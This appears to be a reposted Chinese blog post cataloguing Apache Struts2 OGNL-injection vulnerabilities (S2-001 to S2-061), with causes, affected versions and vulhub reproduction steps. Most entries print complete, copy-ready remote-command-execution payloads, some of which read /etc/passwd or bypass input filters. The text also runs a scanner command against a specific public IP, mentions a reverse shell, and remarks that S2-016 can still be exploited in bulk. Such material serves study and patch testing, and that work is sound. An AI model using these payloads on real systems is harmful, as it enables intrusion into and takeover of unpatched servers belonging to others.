Strust2漏洞汇总
本文所涉及的復(fù)現(xiàn)環(huán)境均可在vulhub上復(fù)現(xiàn)
文章包含了絕大部分漏洞,少部分未總結(jié)
文章目錄
- S2-001:
- 原理:
- 影響版本:
- 復(fù)現(xiàn):
- S2-003
- 原理:
- 影響版本:
- POC
- S2-005
- 原理:
- 影響版本:
- 漏洞復(fù)現(xiàn):
- S2-007:
- 原理:
- 影響版本:
- POC:
- 復(fù)現(xiàn):
- S2-008:
- 原理:
- 影響版本:
- 復(fù)現(xiàn):
- S2-009
- 原理:
- 影響版本:
- 復(fù)現(xiàn):
- S2-013:
- 原理:
- 影響版本:
- 復(fù)現(xiàn):
- S2-015:
- 原理:
- 影響版本:
- POC:
- 復(fù)現(xiàn):
- S2-016:(很重要)
- 原理:
- 影響版本:
- POC:
- 復(fù)現(xiàn):
- S2-032:
- 原理:
- 影響版本:
- 復(fù)現(xiàn)
- S2-045:
- 原理:
- 影響版本:
- 復(fù)現(xiàn):
- S2-046:
- 原理:
- 影響版本:
- 復(fù)現(xiàn):
- S2-048:
- 原理:
- 影響版本:
- 復(fù)現(xiàn):
- S2-053:
- 原理:
- 影響版本:
- 漏洞復(fù)現(xiàn):
- S2-057:
- 原理:
- 影響版本:
- 評價:
- S2-059 061:
- 原理:
- 影響版本:
- 復(fù)現(xiàn):
- 總結(jié):
S2-001:
原理:
該漏洞因用戶提交表單數(shù)據(jù)并且驗證失敗時,后端會將用戶之前提交的參數(shù)值使用OGNL表達(dá)式%{value}進行解析,然后重新填充到對應(yīng)的表單數(shù)據(jù)中。如注冊或登錄頁面,提交失敗后一般會默認(rèn)返回之前提交的數(shù)據(jù),由于后端使用%{value}對提交的數(shù)據(jù)執(zhí)行了一次OGNL 表達(dá)式解析,所以可以直接構(gòu)造 Payload進行命令執(zhí)行。
影響版本:
Struts 2.0.0 - Struts 2.0.8
復(fù)現(xiàn):
啟動環(huán)境:
該漏洞原理以及很清楚了,就是因為用戶提交形如%{value}的參數(shù)值會被解析并且返回到前端,所以我們可以利用該解析達(dá)到RCE的效果
測試一下:
發(fā)現(xiàn)被解析。可以使用如下命令:
幾張效果圖:
cmd: ls
S2-003
原理:
Struts會將HTTP的每個參數(shù)名解析為ognl語句執(zhí)行(可以理解為Java代碼)。ognl表達(dá)式通過#來訪問struts的對象,Struts框架通過過濾#字符防止安全問題,通過unicode編碼(u0023)或8進制(43)即可繞過安全限制,從而能夠操縱服務(wù)器端上下文對象。
影響版本:
影響版本: 2.0.0 - 2.0.11.2
POC
RCE的POC:
http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))S2-005
原理:
該漏洞原理和S2 003一樣,S2是003由于#引起的,因此官方在這個更新鐘,僅僅是將進行#過濾防止引發(fā)安全問題,但是#依然可以通過編碼的形式進行繞過
影響版本:
2.0.0 - 2.1.8.1
漏洞復(fù)現(xiàn):
這里使用K8的工具進行復(fù)現(xiàn)即可:
檢測
RCE:
S2-007:
原理:
簡單來講:S2-007的漏洞是當(dāng)提交表單中變量的類型出現(xiàn)錯誤時,進行了錯誤的字符串拼接,后端會執(zhí)行OGNL表達(dá)式
嚴(yán)肅點講:
S2-007漏洞一般出現(xiàn)在表單處。當(dāng)配置了驗證規(guī)則 -validation.xml時,若類型驗證轉(zhuǎn)換出錯,后端默認(rèn)會將用戶提交的表單值通過字符串拼接,然后執(zhí)行一次 OGNL 表達(dá)式解析并返回。要成功利用,只需要找到一個配置了類似驗證規(guī)則的表單字段使之轉(zhuǎn)換出錯,借助類似單引號拼接的方式即可注入任意 OGNL 表達(dá)式。 //這里的重點是驗證類型出錯,記住是驗證類型出錯才會導(dǎo)致。
具體來看看什么叫驗證類型出錯:
UserAction:
xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE validators PUBLIC"-//OpenSymphony Group//XWork Validator 1.0//EN""http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd"> <validators><field name="age"><field-validator type="int"><param name="min">1</param><param name="max">150</param></field-validator></field> </validators>這個時候如果我們提交age為非整形的話,就會出現(xiàn)報錯,那么拼接報錯語句,通過執(zhí)行OGNL從而達(dá)到RCE的目的
影響版本:
2.0.0 - 2.2.3
POC:
’ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘whoami’).getInputStream())) + ’ ## exec()跟上cmd注意:這里POC傳入的時候需要二次編碼
二次編碼后的結(jié)果:
復(fù)現(xiàn):
S2-008:
原理:
簡單來講:主要是利用對傳入?yún)?shù)沒有嚴(yán)格限制,導(dǎo)致多個地方可以執(zhí)行惡意代碼,傳入?debug=command&expression=即可執(zhí)行OGNL表達(dá)式
影響版本:
Struts 2.1.0 - Struts 2.3.1
復(fù)現(xiàn):
POC(cmd自己更換就好):
ip:port/devmode.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=false,%23cmd=%22ls%22,%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[100],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))S2-009
原理:
OGNL提供了廣泛的表達(dá)式評估功能等功能。該漏洞允許惡意用戶繞過ParametersInterceptor內(nèi)置的所有保護(正則表達(dá)式,拒絕方法調(diào)用),從而能夠?qū)⑷魏伪┞兜淖址兞恐械膼阂獗磉_(dá)式注入進行進一步評估。
在S2-003和S2-005中已經(jīng)解決了類似的行為,但事實證明,基于列入可接受的參數(shù)名稱的結(jié)果修復(fù)僅部分地關(guān)閉了該漏洞。
ParametersInterceptor中的正則表達(dá)式將top [‘foo’](0)作為有效的表達(dá)式匹配,OGNL將其作為(top [‘foo’])(0)處理,并將“foo”操作參數(shù)的值作為OGNL表達(dá)式求值。這使得惡意用戶將任意的OGNL語句放入由操作公開的任何String變量中,并將其評估為OGNL表達(dá)式,并且由于OGNL語句在HTTP參數(shù)中,攻擊者可以使用黑名單字符(例如#)禁用方法執(zhí)行并執(zhí)行任意方法,繞過ParametersInterceptor和OGNL庫保護。
影響版本:
2.0.0-2.3.1
復(fù)現(xiàn):
這里可以使用工具掃描:
python Struts2Scan.py -u http://106.54.169.132:8080這里使用官方提供的包進行復(fù)現(xiàn)(vulhub可以直接下載):
首先找到路徑
存在傳參的地方在/ajax/example5.action這里
POC:
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]再說一下 只要存在傳參點就可以打
S2-013:
原理:
struts2的標(biāo)簽中 <s:a> 和 <s:url> 都有一個 includeParams 屬性,可以設(shè)置成如下值
none - URL中不包含任何參數(shù)(默認(rèn)) get - 僅包含URL中的GET參數(shù) all - 在URL中包含GET和POST參數(shù)當(dāng)includeParams=all的時候,會將本次請求的GET和POST參數(shù)都放在URL的GET參數(shù)上。
此時<s:a> 或<s:url>嘗試去解析原始請求參數(shù)時,會導(dǎo)致OGNL表達(dá)式的執(zhí)行
影響版本:
2.0.0.0-2.3.14
復(fù)現(xiàn):
這里可以使用K8工具復(fù)現(xiàn),也可以直接手打復(fù)現(xiàn):
POC:
S2-015:
原理:
如果一個請求與任何其他定義的操作不匹配,它將被匹配,*并且所請求的操作名稱將用于以操作名稱加載JSP文件。并且,1作為OGNL表達(dá)式的威脅值,{ }可以在服務(wù)器端執(zhí)行任意的Java代碼
影響版本:
2.0.0 - 2.3.14.2
POC:
復(fù)現(xiàn):
環(huán)境搭建隨便點擊業(yè)務(wù)發(fā)現(xiàn):
隨便傳一個action:
找到漏洞點,上POC:
值得一提的是,這里需要進行二次url編碼然后傳參
S2-016:(很重要)
原理:
在struts2中,DefaultActionMapper類支持以"action:"、“redirect:”、"redirectAction:"作為導(dǎo)航或是重定向前綴,但是這些前綴后面同時可以跟OGNL表達(dá)式,由于struts2沒有對這些前綴做過濾,導(dǎo)致利用OGNL表達(dá)式調(diào)用java靜態(tài)方法執(zhí)行任意系統(tǒng)命令。
影響版本:
非常廣 2.0.0 – Struts 2.3.15
POC:
${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}需要進行二次編碼:
%24%7b%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22uname+-a%22).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b5000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()%7d復(fù)現(xiàn):
原理已經(jīng)說的很清楚了,就是因為以action或者redirect作為重定向或者導(dǎo)向時可跟OGNL表達(dá)式,從而RCE,基本特征就是以.action或者.redirect結(jié)尾,可以批量,我隨便看了下,這洞太久遠(yuǎn)了,2013年的,肯定還是存在漏洞的,只是少了
S2-032:
原理:
在配置了 Struts2 DMI 為 True 的情況下,可以使用 method:name Action 前綴去調(diào)用聲明為 public 的函數(shù),DMI 的相關(guān)使用方法可參考官方介紹(Dynamic Method Invocation),這個 DMI 的調(diào)用特性其實一直存在,只不過在低版本中 Strtus2 不會對 name 方法值做 OGNL 計算,而在高版本中會。所以只要找到目標(biāo)應(yīng)用中有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面帶上需要執(zhí)行 OGNL 表達(dá)式即可。
比如這樣的ognl 表達(dá)式: #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#f=@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]),#f.close&cmd=open /Applications/Calculator.app 通過反射調(diào)用(關(guān)于java的反射調(diào)用可以參考之前的一篇文章Link)Runtime類的exec方法進行命令執(zhí)行,這里是打開計算器的操作。
//這一塊存在動態(tài)函數(shù)的調(diào)用,建議想要深入了解的同學(xué)可以調(diào)試一下代碼看看
影響版本:
Struts 2.3.20 - Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
復(fù)現(xiàn)
Struts2在開啟了動態(tài)方法調(diào)用(Dynamic Method Invocation)的情況下,可以使用method:name的方式來調(diào)用名字是name的方法,而這個方法名將會進行OGNL表達(dá)式計算,導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoamiS2-045:
原理:
很有趣的一個洞:通過Content-Type這個header頭,注入OGNL語言,進而執(zhí)行命令。漏洞的點在于,由于Strus2對錯誤消息處理時,出現(xiàn)了紕漏。
網(wǎng)上說需要在上傳文件的時候content-type才可以被解析,也有說只需要模擬上傳就可以。包含multipart/form-data字符串即可。我在本地進行測試的時候只在上傳的時候才解析成功。
影響版本:
Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
復(fù)現(xiàn):
在上傳的時候抓包,更改content-type即可
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data測試:
反彈shell:
S2-046:
原理:
同S2-045一樣,只不過字段發(fā)生了變化,這里的參數(shù)是filename。
影響版本:
Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
復(fù)現(xiàn):
個人建議這里直接使用工具就好了,直接去復(fù)現(xiàn)的化也可以,也就是改filename,然后00階段即可
S2-048:
原理:
將用戶可控的值添加到 ActionMessage 并在客戶前端展示,導(dǎo)致其進入 getText 函數(shù),最后 message 被當(dāng)作 ognl 表達(dá)式執(zhí)行所以訪問 /integration/saveGangster.action 構(gòu)造payload
影響版本:
2.0.0 - 2.3.32
這個漏洞影響很小,了解一下就好。
復(fù)現(xiàn):
因為不是很廣切利用條件太苛刻,直接上工具吧
工具的話,感覺有點雞肋,因為光一個IP的化還是不行的,可惜這個工具不能自帶爬蟲,或許結(jié)合xray+red+工具更好一點
S2-053:
原理:
Struts2在使用Freemarker模板引擎的時候,同時允許解析OGNL表達(dá)式。導(dǎo)致用戶輸入的數(shù)據(jù)本身不會被OGNL解析,但由于被Freemarker解析一次后變成離開一個表達(dá)式,被OGNL解析第二次,導(dǎo)致任意命令執(zhí)行漏洞。
影響版本:
Affected Version: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
漏洞復(fù)現(xiàn):
原理說的很通俗了,就是由于數(shù)據(jù)被進行二次解析從而可以RCE導(dǎo)致
EXP:
···
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘whoami’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{’/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
// cmd=‘whoami’ 命令自行替換即可
···
值得注意的是,這里需要換行才能RCE,最后一定要換行
S2-057:
原理:
DefaultActionMapper調(diào)用parseNameAndNamespace()解析namespace和name。當(dāng)alwaysSelectFullNamespace為true時,namespace的值可以通過uri控制
影響版本:
Affected Version: <= Struts 2.3.34, Struts 2.5.16
評價:
工具直接復(fù)現(xiàn)就好
S2-059 061:
原理:
Apache Struts2使用某些標(biāo)簽時,會對標(biāo)簽屬性值進行二次表達(dá)式解析,當(dāng)標(biāo)簽屬性值使用了%{skillName}并且skillName的值用戶可以控制,就會造成OGNL表達(dá)式執(zhí)行,都很弱雞,利用條件苛刻
<s:url var="url" namespace="/employee" action="list"/><s:a id="%{payload}" href="%{url}">List available Employees</s:a>影響版本:
Struts 2.0.0 - Struts 2.5.20
復(fù)現(xiàn):
因為這里是傳入的標(biāo)簽屬性值進行了解析,所以只要值可控,傳入適當(dāng)?shù)腜LAYLOAD即可RCE
簡單測試一下:
?id=%25{2*2}
評價:此次漏洞需要開啟altSyntax功能,只能是在標(biāo)簽id屬性中存在表達(dá)式,并且參數(shù)還可以控制,這種場景在實際開發(fā)中非常少見,危害較小。
總結(jié):
復(fù)現(xiàn)了這么多洞,基本上都是由于配置解析的問題,真正意義上的反序列化倒沒有存在很多問題,大部分是由于配置不當(dāng)或者組件問題造成的,批量的話,也就s2-016要多一點。多了解一點總不是壞事。以上有講解錯誤的地方,歡迎師傅們指出。
總結(jié)
以上是生活随笔為你收集整理的Strust2漏洞汇总的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux常见权限处理、文件搜索、帮助、
- 下一篇: onu光功率多少是正常_ONU的接收光功